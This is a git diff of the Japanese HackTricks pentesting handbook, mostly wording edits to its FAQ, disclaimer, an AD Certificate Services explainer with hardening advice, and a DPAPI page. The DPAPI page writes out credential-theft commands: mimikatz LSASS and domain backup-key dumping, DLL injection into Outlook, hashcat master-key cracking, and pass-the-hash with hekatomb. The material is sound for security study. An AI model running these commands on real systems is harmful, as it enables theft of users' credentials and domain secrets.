新しいヒントやトリックをコミュニティと共有したり、本の中で見つけたバグを修正して、該当するGithubページに**プルリクエスト**を送信することができます:
|
||||
新しいヒントやトリックをコミュニティと共有したり、本の中で見つけたバグを修正したりすることができます。該当するGithubページに**プルリクエスト**を送信してください:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -42,7 +42,7 @@ HackTricksチームに感謝の意を表するには、[**@hacktricks_live**](ht
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricksからいくつかのコンテンツをコピーして自分のブログに載せてもいいですか?**
|
||||
> - **HackTricksのコンテンツをコピーして自分のブログに載せてもいいですか?**
|
||||
|
||||
はい、できますが、**コンテンツがどこから取られたかの特定のリンクを忘れずに言及してください**。
|
||||
|
||||
@ -50,8 +50,8 @@ HackTricksチームに感謝の意を表するには、[**@hacktricks_live**](ht
|
||||
>
|
||||
> - **HackTricksのページをどのように引用できますか?**
|
||||
|
||||
情報を取得したページの**リンク**が表示されていれば、それで十分です。\
|
||||
Bibtexが必要な場合は、次のようなものを使用できます:
|
||||
情報を取得したページの**リンク**が表示されていれば十分です。\
|
||||
BibTeXが必要な場合は、次のようなものを使用できます:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,19 +62,19 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **私のブログにすべてのHackTricksをコピーしてもいいですか?**
|
||||
> - **私のブログにHackTricksをすべてコピーしてもいいですか?**
|
||||
|
||||
**私はそうしたくありません**。それは**誰にも利益をもたらさない**でしょう。すべての**コンテンツはすでに公式のHackTricks書籍で無料で公開されています**。
|
||||
**できればやめてください**。それは**誰にも利益をもたらさない**でしょう。すべての**コンテンツはすでに公式のHackTricks書籍で無料で公開されています**。
|
||||
|
||||
消えてしまうのが心配なら、Githubでフォークするか、ダウンロードしてください。すでに無料ですから。
|
||||
消えてしまうのが心配な場合は、Githubでフォークするか、ダウンロードしてください。すでに無料ですから。
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **なぜスポンサーがいるのですか?HackTricks書籍は商業目的ですか?**
|
||||
> - **なぜスポンサーがいるのですか?HackTricksの書籍は商業目的ですか?**
|
||||
|
||||
最初の**HackTricks**の**価値**は、**全世界に無料の**ハッキング教育リソースを提供することです。HackTricksチームは、このコンテンツを提供するために**何千時間も**捧げてきました。再度、**無料**です。
|
||||
最初の**HackTricks**の**価値**は、**全世界に**向けて**無料の**ハッキング教育リソースを提供することです。HackTricksチームは**何千時間も**このコンテンツを提供するために捧げてきました。再度、**無料**です。
|
||||
|
||||
HackTricks書籍が**商業目的**で作られていると思うなら、あなたは**完全に間違っています**。
|
||||
HackTricksの書籍が**商業目的**で作られていると思うなら、**完全に間違っています**。
|
||||
|
||||
私たちはスポンサーを持っています。なぜなら、すべてのコンテンツが無料であっても、私たちの仕事を**評価する機会をコミュニティに提供したい**からです。したがって、私たちは人々に[**Githubスポンサー**](https://github.com/sponsors/carlospolop)を通じてHackTricksに寄付するオプションを提供し、**関連するサイバーセキュリティ企業**にHackTricksをスポンサーしてもらい、**広告を掲載する**ことを許可しています。広告は常に**目立つ**場所に配置されますが、**学習**プロセスを妨げないようにしています。
|
||||
|
||||
@ -84,25 +84,25 @@ HackTricksは、HackTricksよりもはるかに少ないコンテンツを持つ
|
||||
>
|
||||
> - **HackTricksのページが私のブログ投稿に基づいているが、参照されていない場合はどうすればよいですか?**
|
||||
|
||||
**申し訳ありません。これは起こるべきではありません**。HackTricksページのリンクとあなたのブログのリンクをGithubの問題、Twitter、Discordなどでお知らせください。**私たちはそれを確認し、できるだけ早く追加します**。
|
||||
**申し訳ありません。これは起こるべきではありませんでした**。HackTricksのページのリンクとあなたのブログのリンクをGithubの問題、Twitter、Discordなどでお知らせください。**すぐに確認し、追加します**。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **私のブログのコンテンツがHackTricksにあり、そこにあってほしくない場合はどうすればよいですか?**
|
||||
> - **私のブログのコンテンツがHackTricksにあり、そこに置いてほしくない場合はどうすればよいですか?**
|
||||
|
||||
HackTricksにあなたのページへのリンクがあることは次のような利点があります:
|
||||
HackTricksにあなたのページへのリンクがあることは:
|
||||
|
||||
- あなたの**SEO**を改善します
|
||||
- コンテンツが**15以上の言語に翻訳され**、より多くの人々がこのコンテンツにアクセスできるようになります
|
||||
- **HackTricksは**人々に**あなたのページをチェックすることを奨励します**(何人かの人々が、彼らのページがHackTricksに掲載されて以来、より多くの訪問を受けていると私たちに言っています)
|
||||
- **HackTricksは**人々に**あなたのページをチェックすることを奨励します**(何人かの人々が、彼らのページがHackTricksに掲載されて以来、訪問者が増えたと私たちに言っています)
|
||||
|
||||
しかし、もしあなたがまだあなたのブログのコンテンツをHackTricksから削除したい場合は、私たちに知らせてください。私たちは確実に**あなたのブログへのすべてのリンク**とそれに基づくコンテンツを**削除します**。
|
||||
しかし、もしあなたがまだあなたのブログのコンテンツをHackTricksから削除したい場合は、私たちに知らせてください。私たちは確実に**あなたのブログへのすべてのリンク**と、それに基づくコンテンツを**削除します**。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **HackTricksでコピー&ペーストされたコンテンツを見つけた場合はどうすればよいですか?**
|
||||
> - **HackTricksにコピー&ペーストされたコンテンツを見つけた場合はどうすればよいですか?**
|
||||
|
||||
私たちは常に**元の著者にすべてのクレジットを与えます**。元のソースが参照されていないコピー&ペーストされたコンテンツのあるページを見つけた場合は、私たちに知らせてください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、**リンクを追加して書き直す**かします。
|
||||
私たちは常に**元の著者にすべてのクレジットを与えます**。元のソースが参照されていないコピー&ペーストされたコンテンツのページを見つけた場合は、お知らせください。私たちはそれを**削除する**か、**テキストの前にリンクを追加する**か、**リンクを追加して書き直す**かします。
|
||||
|
||||
## LICENSE
|
||||
|
||||
@ -130,14 +130,14 @@ This license does not grant any trademark or branding rights in relation to the
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> この本『HackTricks』は、教育および情報提供の目的のみを意図しています。この本の内容は「現状のまま」で提供されており、著者および出版社は、情報、製品、サービス、またはこの本に含まれる関連グラフィックスの完全性、正確性、信頼性、適合性、または可用性について、明示または暗示のいかなる表明や保証も行いません。したがって、そのような情報に依存することは、厳密に自己責任となります。
|
||||
> この本「HackTricks」は、教育および情報提供の目的のみを意図しています。この本の内容は「現状のまま」で提供されており、著者および出版社は、情報、製品、サービス、またはこの本に含まれる関連グラフィックスの完全性、正確性、信頼性、適合性、または可用性について、明示または暗示のいかなる表明や保証も行いません。したがって、そのような情報に依存することは、厳密に自己責任となります。
|
||||
>
|
||||
> 著者および出版社は、データや利益の損失から生じる、またはこの本の使用に関連するいかなる損失や損害についても、一切の責任を負いません。
|
||||
>
|
||||
> さらに、この本に記載されている技術やヒントは、教育および情報提供の目的のみを意図しており、違法または悪意のある活動に使用すべきではありません。著者および出版社は、違法または非倫理的な活動を容認または支持せず、この本に含まれる情報の使用は、ユーザーの自己責任と裁量に委ねられます。
|
||||
>
|
||||
> ユーザーは、この本に含まれる情報に基づいて行った行動に対して単独で責任を負い、ここに記載されている技術やヒントを実装しようとする際には、常に専門的なアドバイスと支援を求めるべきです。
|
||||
> ユーザーは、この本に含まれる情報に基づいて行った行動に対して単独で責任を負い、ここに記載された技術やヒントを実装しようとする際には、常に専門的なアドバイスと支援を求めるべきです。
|
||||
>
|
||||
> この本を使用することにより、ユーザーは著者および出版社を、この本またはその中に含まれる情報の使用から生じる損害、損失、または害に対する一切の責任および責任から解放することに同意します。
|
||||
> この本を使用することにより、ユーザーは著者および出版社を、この本の使用またはその中に含まれる情報から生じる可能性のある損害、損失、または危害に対する一切の責任および責任から解放することに同意します。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### Components of a Certificate
|
||||
|
||||
- **証明書の主題**はその所有者を示します。
|
||||
- **証明書の主題**は、その所有者を示します。
|
||||
- **公開鍵**は、証明書を正当な所有者にリンクするために、プライベートキーとペアになります。
|
||||
- **有効期間**は、**NotBefore**および**NotAfter**の日付によって定義され、証明書の有効な期間を示します。
|
||||
- 一意の**シリアル番号**は、証明書機関(CA)によって提供され、各証明書を識別します。
|
||||
@ -28,7 +28,7 @@ AD CSは、指定されたコンテナを通じてADフォレスト内のCA証
|
||||
- **Certification Authorities**コンテナは、信頼されたルートCA証明書を保持します。
|
||||
- **Enrolment Services**コンテナは、エンタープライズCAとその証明書テンプレートの詳細を示します。
|
||||
- **NTAuthCertificates**オブジェクトは、AD認証のために承認されたCA証明書を含みます。
|
||||
- **AIA (Authority Information Access)**コンテナは、中間CAおよびクロスCA証明書を使用して証明書チェーンの検証を促進します。
|
||||
- **AIA (Authority Information Access)**コンテナは、中間CAおよびクロスCA証明書を使用して証明書チェーンの検証を容易にします。
|
||||
|
||||
### Certificate Acquisition: Client Certificate Request Flow
|
||||
|
||||
@ -43,13 +43,13 @@ AD内で定義されたこれらのテンプレートは、証明書を発行す
|
||||
|
||||
## Certificate Enrollment
|
||||
|
||||
証明書の登録プロセスは、管理者が**証明書テンプレートを作成**し、それがエンタープライズ証明書機関(CA)によって**公開**されることから始まります。これにより、クライアントの登録のためにテンプレートが利用可能になります。このステップは、テンプレートの名前をActive Directoryオブジェクトの`certificatetemplates`フィールドに追加することで達成されます。
|
||||
証明書の登録プロセスは、管理者が**証明書テンプレートを作成**し、それがエンタープライズ証明書機関(CA)によって**公開**されることから始まります。これにより、クライアントの登録に利用可能なテンプレートが作成され、Active Directoryオブジェクトの`certificatetemplates`フィールドにテンプレート名を追加することで達成されます。
|
||||
|
||||
クライアントが証明書をリクエストするには、**登録権限**が付与されている必要があります。これらの権限は、証明書テンプレートおよびエンタープライズCA自体のセキュリティ記述子によって定義されます。リクエストが成功するためには、両方の場所で権限が付与される必要があります。
|
||||
|
||||
### Template Enrollment Rights
|
||||
|
||||
これらの権限は、アクセス制御エントリ(ACE)を通じて指定され、次のような権限の詳細が含まれます:
|
||||
これらの権限は、アクセス制御エントリ(ACE)を通じて指定され、次のような権限が詳細に示されます:
|
||||
|
||||
- **Certificate-Enrollment**および**Certificate-AutoEnrollment**権限は、それぞれ特定のGUIDに関連付けられています。
|
||||
- **ExtendedRights**は、すべての拡張権限を許可します。
|
||||
@ -61,7 +61,7 @@ CAの権限は、そのセキュリティ記述子に記載されており、証
|
||||
|
||||
### Additional Issuance Controls
|
||||
|
||||
特定の制御が適用される場合があります。たとえば:
|
||||
特定の制御が適用される場合があります:
|
||||
|
||||
- **マネージャーの承認**:リクエストを保留状態にし、証明書マネージャーによって承認されるまで待機します。
|
||||
- **登録エージェントおよび承認された署名**:CSRに必要な署名の数と必要なアプリケーションポリシーOIDを指定します。
|
||||
@ -73,7 +73,7 @@ CAの権限は、そのセキュリティ記述子に記載されており、証
|
||||
1. **Windows Client Certificate Enrollment Protocol**(MS-WCCE)、DCOMインターフェースを使用。
|
||||
2. **ICertPassage Remote Protocol**(MS-ICPR)、名前付きパイプまたはTCP/IPを介して。
|
||||
3. **証明書登録ウェブインターフェース**、証明書機関ウェブ登録役割がインストールされていること。
|
||||
4. **Certificate Enrollment Service**(CES)、証明書登録ポリシー(CEP)サービスと連携。
|
||||
4. **Certificate Enrollment Service**(CES)、証明書登録ポリシー(CEP)サービスと連携して。
|
||||
5. **Network Device Enrollment Service**(NDES)、ネットワークデバイス用、シンプル証明書登録プロトコル(SCEP)を使用。
|
||||
|
||||
Windowsユーザーは、GUI(`certmgr.msc`または`certlm.msc`)またはコマンドラインツール(`certreq.exe`またはPowerShellの`Get-Certificate`コマンド)を介しても証明書をリクエストできます。
|
||||
@ -87,7 +87,7 @@ Active Directory (AD) は、主に **Kerberos** と **Secure Channel (Schannel)*
|
||||
|
||||
### Kerberos 認証プロセス
|
||||
|
||||
Kerberos 認証プロセスでは、ユーザーの Ticket Granting Ticket (TGT) の要求がユーザーの証明書の **秘密鍵** を使用して署名されます。この要求は、証明書の **有効性**、**パス**、および **失効状況** を含む、ドメインコントローラーによるいくつかの検証を受けます。検証には、証明書が信頼できるソースから来ていることの確認や、**NTAUTH 証明書ストア** に発行者が存在することの確認も含まれます。検証が成功すると、TGT が発行されます。AD の **`NTAuthCertificates`** オブジェクトは、次の場所にあります:
|
||||
Kerberos 認証プロセスでは、ユーザーの Ticket Granting Ticket (TGT) の要求がユーザーの証明書の **秘密鍵** を使用して署名されます。この要求は、ドメインコントローラーによって、証明書の **有効性**、**パス**、および **失効状況** を含むいくつかの検証を受けます。検証には、証明書が信頼できるソースからのものであることを確認し、**NTAUTH 証明書ストア** に発行者が存在することを確認することも含まれます。検証が成功すると、TGT が発行されます。AD の **`NTAuthCertificates`** オブジェクトは、次の場所にあります:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
@ -95,7 +95,7 @@ CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<do
|
||||
|
||||
### セキュアチャネル (Schannel) 認証
|
||||
|
||||
Schannelは安全なTLS/SSL接続を促進し、ハンドシェイク中にクライアントが証明書を提示します。これが成功裏に検証されると、アクセスが許可されます。証明書をADアカウントにマッピングするには、Kerberosの**S4U2Self**機能や証明書の**Subject Alternative Name (SAN)**など、他の方法が関与する場合があります。
|
||||
Schannelは安全なTLS/SSL接続を促進し、ハンドシェイク中にクライアントが証明書を提示します。証明書が正常に検証されると、アクセスが許可されます。証明書をADアカウントにマッピングするには、Kerberosの**S4U2Self**機能や証明書の**Subject Alternative Name (SAN)**など、他の方法が関与する場合があります。
|
||||
|
||||
### AD証明書サービスの列挙
|
||||
|
||||
@ -122,30 +122,30 @@ certutil -v -dstemplate
|
||||
|
||||
## 最近の脆弱性とセキュリティ更新 (2022-2025)
|
||||
|
||||
| 年 | ID / 名前 | 影響 | 主なポイント |
|
||||
| 年 | ID / 名称 | 影響 | 主なポイント |
|
||||
|------|-----------|--------|----------------|
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *特権昇格* PKINIT中のマシンアカウント証明書の偽装による。 | パッチは**2022年5月10日**のセキュリティ更新に含まれています。監査と強いマッピング制御は**KB5014754**を通じて導入されました; 環境は現在*完全強制*モードであるべきです。 citeturn2search0 |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *リモートコード実行* AD CS Web Enrollment (certsrv)およびCESロールで。 | 公開PoCは限られていますが、脆弱なIISコンポーネントは内部でしばしば露出しています。**2023年7月**のパッチ火曜日からパッチが適用されます。 citeturn3search0 |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | 登録権を持つ低特権ユーザーがCSR生成中に**任意の**EKUまたはSANを上書きでき、クライアント認証またはコード署名に使用可能な証明書を発行し、*ドメインの侵害*につながる。 | **2024年4月**の更新で対処されました。“リクエストに供給”をテンプレートから削除し、登録権限を制限してください。 citeturn1search3 |
|
||||
| 2022 | **CVE-2022-26923** – “Certifried” / ESC6 | *特権昇格* PKINIT中のマシンアカウント証明書の偽装による。 | パッチは**2022年5月10日**のセキュリティ更新に含まれています。監査と強いマッピング制御は**KB5014754**を通じて導入されました; 環境は現在*完全強制*モードであるべきです。 |
|
||||
| 2023 | **CVE-2023-35350 / 35351** | *リモートコード実行* AD CS Web Enrollment (certsrv)およびCESロールで。 | 公開PoCは限られていますが、脆弱なIISコンポーネントは内部でしばしば露出しています。**2023年7月**のパッチ火曜日のパッチ。 |
|
||||
| 2024 | **CVE-2024-49019** – “EKUwu” / ESC15 | 登録権を持つ低特権ユーザーがCSR生成中に**任意の**EKUまたはSANを上書きでき、クライアント認証またはコード署名に使用可能な証明書を発行し、*ドメインの妥協*につながる。 | **2024年4月**の更新で対処されました。「リクエストに供給」をテンプレートから削除し、登録権限を制限してください。 |
|
||||
|
||||
### Microsoftの強化タイムライン (KB5014754)
|
||||
|
||||
Microsoftは、Kerberos証明書認証を弱い暗黙のマッピングから移行するために、三段階の展開(互換性 → 監査 → 強制)を導入しました。**2025年2月11日**以降、`StrongCertificateBindingEnforcement`レジストリ値が設定されていない場合、ドメインコントローラーは自動的に**完全強制**に切り替わります。管理者は以下を行うべきです:
|
||||
Microsoftは、Kerberos証明書認証を弱い暗黙的マッピングから移行するために、三段階の展開(互換性 → 監査 → 強制)を導入しました。**2025年2月11日**以降、`StrongCertificateBindingEnforcement`レジストリ値が設定されていない場合、ドメインコントローラーは自動的に**完全強制**に切り替わります。管理者は以下を行うべきです:
|
||||
|
||||
1. すべてのDCおよびAD CSサーバーをパッチ適用する(2022年5月以降)。
|
||||
2. *監査*フェーズ中に弱いマッピングのためにイベントID 39/41を監視する。
|
||||
3. 2025年2月前に新しい**SID拡張**を使用してクライアント認証証明書を再発行するか、強い手動マッピングを構成する。 citeturn2search0
|
||||
3. 2025年2月前に新しい**SID拡張**を使用してクライアント認証証明書を再発行するか、強い手動マッピングを構成する。
|
||||
|
||||
---
|
||||
|
||||
## 検出と強化の向上
|
||||
|
||||
* **Defender for Identity AD CSセンサー (2023-2024)** は、ESC1-ESC8/ESC11の姿勢評価を表示し、*“非DCのためのドメインコントローラー証明書発行”* (ESC8) や *“任意のアプリケーションポリシーによる証明書登録の防止”* (ESC15) などのリアルタイムアラートを生成します。これらの検出の恩恵を受けるために、すべてのAD CSサーバーにセンサーを展開してください。 citeturn5search0
|
||||
* すべてのテンプレートで**“リクエストに供給”**オプションを無効にするか、厳密にスコープを設定してください; 明示的に定義されたSAN/EKU値を優先してください。
|
||||
* **Any Purpose**または**No EKU**をテンプレートから削除してください(ESC2シナリオに対処します)。
|
||||
* 機密テンプレート(例:WebServer / CodeSigning)には**管理者の承認**または専用の登録エージェントワークフローを要求してください。
|
||||
* ウェブ登録(`certsrv`)およびCES/NDESエンドポイントを信頼できるネットワークまたはクライアント証明書認証の背後に制限してください。
|
||||
* ESC11を軽減するためにRPC登録暗号化を強制します(`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`)。
|
||||
* **Defender for Identity AD CSセンサー (2023-2024)** は、ESC1-ESC8/ESC11の姿勢評価を表示し、*「非DCのドメインコントローラー証明書発行」* (ESC8) や *「任意のアプリケーションポリシーによる証明書登録の防止」* (ESC15) などのリアルタイムアラートを生成します。これらの検出の恩恵を受けるために、すべてのAD CSサーバーにセンサーを展開してください。
|
||||
* すべてのテンプレートで**「リクエストに供給」**オプションを無効にするか、厳密に範囲を制限してください; 明示的に定義されたSAN/EKU値を好む。
|
||||
* 絶対に必要でない限り、テンプレートから**Any Purpose**または**No EKU**を削除してください(ESC2シナリオに対処します)。
|
||||
* 機密テンプレート(例:WebServer / CodeSigning)には**管理者の承認**または専用の登録エージェントワークフローを要求する。
|
||||
* ウェブ登録(`certsrv`)およびCES/NDESエンドポイントを信頼できるネットワークに制限するか、クライアント証明書認証の背後に配置する。
|
||||
* ESC11を軽減するためにRPC登録暗号化を強制する(`certutil –setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQ`)。
|
||||
|
||||
---
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
データ保護API(DPAPI)は、主にWindowsオペレーティングシステム内で**非対称プライベートキーの対称暗号化**に利用され、ユーザーまたはシステムの秘密を重要なエントロピーのソースとして活用します。このアプローチは、開発者がユーザーのログオン秘密から派生したキーを使用してデータを暗号化できるようにすることで、暗号化を簡素化し、システム暗号化の場合はシステムのドメイン認証秘密を使用することで、開発者が暗号化キーの保護を自ら管理する必要を排除します。
|
||||
|
||||
DPAPIを使用する最も一般的な方法は、**`CryptProtectData`および`CryptUnprotectData`**関数を通じてであり、これによりアプリケーションは現在ログオンしているプロセスのセッションでデータを安全に暗号化および復号化できます。これは、暗号化されたデータはそれを暗号化した同じユーザーまたはシステムによってのみ復号化できることを意味します。
|
||||
DPAPIを使用する最も一般的な方法は、**`CryptProtectData`および`CryptUnprotectData`**関数を通じてであり、これによりアプリケーションは現在ログオンしているプロセスのセッションを使用してデータを安全に暗号化および復号化できます。これは、暗号化されたデータはそれを暗号化した同じユーザーまたはシステムによってのみ復号化できることを意味します。
|
||||
|
||||
さらに、これらの関数は**`entropy`パラメータ**も受け入れ、暗号化および復号化中に使用されます。したがって、このパラメータを使用して暗号化されたものを復号化するには、暗号化中に使用されたのと同じエントロピー値を提供する必要があります。
|
||||
|
||||
@ -82,12 +82,12 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
|
||||
```
|
||||
- ローカル管理者権限を持つことで、**LSASSメモリにアクセス**して、すべての接続ユーザーのDPAPIマスターキーとSYSTEMキーを抽出することが可能です。
|
||||
- ローカル管理者権限を持っている場合、すべての接続ユーザーのDPAPIマスターキーとSYSTEMキーを抽出するために**LSASSメモリにアクセス**することが可能です。
|
||||
```bash
|
||||
# Mimikatz
|
||||
mimikatz sekurlsa::dpapi
|
||||
```
|
||||
- ユーザーがローカル管理者権限を持っている場合、**DPAPI_SYSTEM LSAシークレット**にアクセスしてマシンマスタキーを復号化できます:
|
||||
- ユーザーがローカル管理者権限を持っている場合、**DPAPI_SYSTEM LSAシークレット**にアクセスしてマシンマスタキーを復号化できます:
|
||||
```bash
|
||||
# Mimikatz
|
||||
lsadump::secrets /system:DPAPI_SYSTEM /export
|
||||
@ -116,9 +116,9 @@ vaultcmd /listcreds:"Windows Credentials" /all
|
||||
# From mimikatz
|
||||
mimikatz vault::list
|
||||
```
|
||||
## DPAPIで暗号化されたデータにアクセスする
|
||||
## DPAPI暗号化データへのアクセス
|
||||
|
||||
### DPAPIで暗号化されたデータを見つける
|
||||
### DPAPI暗号化データの検索
|
||||
|
||||
一般的なユーザーの**保護されたファイル**は以下にあります:
|
||||
|
||||
@ -182,7 +182,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /rpc
|
||||
```
|
||||
**SharpDPAPI**ツールは、マスタキーの復号化のためにこれらの引数もサポートしています(ドメインのバックアップキーを取得するために`/rpc`を使用したり、平文のパスワードを使用するために`/password`を使用したり、DPAPIドメインプライベートキーファイルを指定するために`/pvk`を使用することが可能であることに注意してください...):
|
||||
**SharpDPAPI**ツールは、マスターキーの復号化のためにこれらの引数もサポートしています(ドメインのバックアップキーを取得するために`/rpc`を使用したり、平文のパスワードを使用するために`/password`を使用したり、DPAPIドメインプライベートキーファイルを指定するために`/pvk`を使用することが可能であることに注意してください...):
|
||||
```
|
||||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
@ -202,7 +202,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
|
||||
```
|
||||
**SharpDPAPI**ツールは、`credentials|vaults|rdg|keepass|triage|blob|ps`の復号化のためにこれらの引数もサポートしています(ドメインのバックアップキーを取得するために`/rpc`を使用することができ、平文のパスワードを使用するために`/password`、DPAPIドメインプライベートキーファイルを指定するために`/pvk`、現在のユーザーのセッションを使用するために`/unprotect`を使用することができることに注意してください...):
|
||||
**SharpDPAPI**ツールは、`credentials|vaults|rdg|keepass|triage|blob|ps`の復号化のためにこれらの引数もサポートしています(ドメインのバックアップキーを取得するために`/rpc`を使用することができ、平文パスワードを使用するために`/password`、DPAPIドメインプライベートキーファイルを指定するために`/pvk`、現在のユーザーのセッションを使用するために`/unprotect`を使用することができることに注意してください...):
|
||||
```
|
||||
Decryption:
|
||||
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
|
||||
@ -232,9 +232,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
---
|
||||
### オプショナルエントロピーの取り扱い ("サードパーティエントロピー")
|
||||
|
||||
一部のアプリケーションは、`CryptProtectData`に追加の**エントロピー**値を渡します。この値がないと、正しいマスタキーが知られていても、ブロブを復号化することはできません。したがって、この方法で保護された資格情報をターゲットにする際には、エントロピーを取得することが不可欠です(例:Microsoft Outlook、一部のVPNクライアント)。
|
||||
一部のアプリケーションは、`CryptProtectData` に追加の **エントロピー** 値を渡します。この値がないと、正しいマスタキーが知られていても、ブロブを復号化することはできません。したがって、この方法で保護された資格情報をターゲットにする際には、エントロピーを取得することが不可欠です(例:Microsoft Outlook、一部のVPNクライアント)。
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) は、ターゲットプロセス内のDPAPI関数をフックし、提供された任意のエントロピーを透過的に記録するユーザーモードDLLです。`outlook.exe`や`vpnclient.exe`のようなプロセスに対して**DLLインジェクション**モードでEntropyCaptureを実行すると、各エントロピーバッファを呼び出しプロセスとブロブにマッピングしたファイルが出力されます。キャプチャされたエントロピーは、後で**SharpDPAPI**(`/entropy:`)や**Mimikatz**(`/entropy:<file>`)に供給してデータを復号化するために使用できます。 citeturn5search0
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) は、ターゲットプロセス内のDPAPI関数をフックし、提供された任意のエントロピーを透過的に記録するユーザーモードDLLです。`outlook.exe` や `vpnclient.exe` のようなプロセスに対して **DLLインジェクション** モードでEntropyCaptureを実行すると、各エントロピーバッファを呼び出しプロセスとブロブにマッピングしたファイルが出力されます。キャプチャされたエントロピーは、後で **SharpDPAPI** (`/entropy:`) または **Mimikatz** (`/entropy:<file>`) に供給してデータを復号化するために使用できます。
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -244,15 +244,15 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### マスターキーのオフラインクラッキング (Hashcat & DPAPISnoop)
|
||||
|
||||
Microsoftは、Windows 10 v1607(2016)から**コンテキスト3**マスターキー形式を導入しました。`hashcat` v6.2.6(2023年12月)は、ユーザーパスワードをマスターキーファイルから直接GPU加速でクラッキングするためのハッシュモード**22100**(DPAPIマスターキーv1コンテキスト)、**22101**(コンテキスト1)、および**22102**(コンテキスト3)を追加しました。したがって、攻撃者はターゲットシステムと対話することなく、ワードリストまたはブルートフォース攻撃を実行できます。 citeturn8search1
|
||||
Microsoftは、Windows 10 v1607(2016)から**context 3**マスターキー形式を導入しました。`hashcat` v6.2.6(2023年12月)は、**22100**(DPAPIマスターキーv1コンテキスト)、**22101**(コンテキスト1)、および**22102**(コンテキスト3)のハッシュモードを追加し、マスターキーファイルからユーザーパスワードを直接GPU加速でクラッキングできるようにしました。攻撃者は、ターゲットシステムと対話することなく、ワードリストまたはブルートフォース攻撃を実行できます。
|
||||
|
||||
`DPAPISnoop`(2024)はこのプロセスを自動化します:
|
||||
`DPAPISnoop`(2024)は、このプロセスを自動化します:
|
||||
```bash
|
||||
# Parse a whole Protect folder, generate hashcat format and crack
|
||||
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
|
||||
hashcat -m 22102 bob.hc wordlist.txt -O -w4
|
||||
```
|
||||
ツールは、CredentialおよびVaultのブロブを解析し、クラッキングされたキーでそれらを復号化し、平文のパスワードをエクスポートすることもできます。
|
||||
ツールは、CredentialおよびVaultのブロブを解析し、クラッキングされたキーで復号化し、平文のパスワードをエクスポートすることもできます。
|
||||
|
||||
### 他のマシンのデータにアクセスする
|
||||
|
||||
@ -269,7 +269,7 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
|
||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||||
|
||||
LDAP から抽出したコンピュータのリストを使用すると、知らなかったサブネットワークをすべて見つけることができます!
|
||||
LDAP から抽出したコンピュータのリストを使用すると、知らなかったサブネットをすべて見つけることができます!
|
||||
|
||||
### DonPAPI 2.x (2024-05)
|
||||
|
||||
@ -278,37 +278,35 @@ LDAP から抽出したコンピュータのリストを使用すると、知ら
|
||||
* 数百のホストからのブロブの並列収集
|
||||
* **context 3** マスタキーの解析と自動 Hashcat クラッキング統合
|
||||
* Chrome の「アプリバウンド」暗号化クッキーのサポート(次のセクションを参照)
|
||||
* 新しい **`--snapshot`** モードでエンドポイントを繰り返しポーリングし、新しく作成されたブロブを比較します citeturn1search2
|
||||
* エンドポイントを繰り返しポーリングし、新しく作成されたブロブを差分化する新しい **`--snapshot`** モード
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) は、マスタキー/資格情報/ボールトファイルの C# パーサーで、Hashcat/JtR 形式で出力でき、オプションで自動的にクラッキングを呼び出すことができます。Windows 11 24H1 までのマシンおよびユーザーマスタキー形式を完全にサポートしています。 citeturn2search0
|
||||
|
||||
